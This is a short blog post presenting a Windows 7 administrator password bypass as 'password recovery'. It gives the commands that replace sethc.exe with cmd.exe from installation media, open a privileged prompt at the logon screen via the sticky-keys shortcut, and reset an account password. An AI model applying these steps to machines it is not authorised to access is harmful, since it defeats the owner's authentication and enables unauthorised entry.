Windows 7 password recovery

Posted: 15 July 2015 in Microsoft
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I was quite bit disturbed when the Offline NT Password Recovery didn’t work as it should. So I found another method of bypassing Windows 7 administrator account password. Of course there’s a need to have an installation CD and then from the CLI you just need to copy:

copy c:\windows\system32\sethc.exe c:\
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe -f
shutdown -r

Now’s the funny part. After restart when you see Windows Logon screen press SHIFT x5 times and… viola you opened an admin CLI.

net user $NAME $NEW_PASSWORD

Now you can log in.

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